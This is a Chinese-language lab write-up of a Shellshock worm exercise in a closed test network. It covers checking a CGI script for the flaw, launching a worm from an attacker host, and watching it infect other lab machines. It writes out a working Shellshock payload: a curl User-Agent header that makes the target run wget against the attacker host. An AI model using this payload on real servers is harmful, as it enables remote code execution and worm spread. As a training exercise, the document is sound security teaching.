基于破壳漏洞的蠕虫实践学习记录
作者：互联网
本实验分为三个任务：
任务一：判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞；
任务二：蠕虫发起者执行蠕虫程序，感染1号主机Worm1；
任务三：观察Worm1主机蠕虫的传播过程，检查Worm2主机是否被感染。
任务描述：判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞
1.使用ssh登录蠕虫发起者主机（10.1.1.231），执行下面三条命令。命令执行结果如下图所示。
[root@worm-master ~]# tail /var/log/httpd/access_log
[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi
[root@worm-master ~]# tail /var/log/httpd/access_log
2.根据最后一条命令的结果，蠕虫发起者主机（10.1.1.231）的web日志中出现了worm1的访问记录，说明worm1主机（10.1.1.12）存在破壳漏洞。
任务描述：蠕虫发起者执行蠕虫程序，感染1号主机Worm1。
1.为了避免自身被感染，向蠕虫表明自己是发起者的身份，我们需要登录10.1.1.231主机，通过下面的命令创建一个文件。
2.继续在10.1.1.231上执行下面的命令，可以找到蠕虫程序。
3.登录worm1，查看/tmp目录。
4.继续返回10.1.1.231主机，执行下面的命令，来运行蠕虫程序。
5.登录Worm1，执行下面的命令，观察被感染的特征。
通过对比/tmp目录可以发现，Worm1已经被感染了shockworm蠕虫程序
实验步骤3
1.登录Worm1（10.1.1.12），不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程，被感染的Worm1通过agent.1337进程，不断的向同网段的其他主机发起攻击与感染。如下所示：
从上面命令的执行结果，可以看出，蠕虫正在攻击10.1.1.92和10.1.1.93和10.1.1.98。
2.经过一段时间之后（大约10分钟），登录Worm2。同样使用命令:”ls -al /tmp”查看，可以发现主机也被此蠕虫感染。对比效果如下图：
16:19分tmp目录下产生了感染文件。
课后习题：
标签：10.1,1.231,主机,感染,破壳,Worm1,漏洞,蠕虫 来源： https://www.cnblogs.com/RedNight/p/15411562.html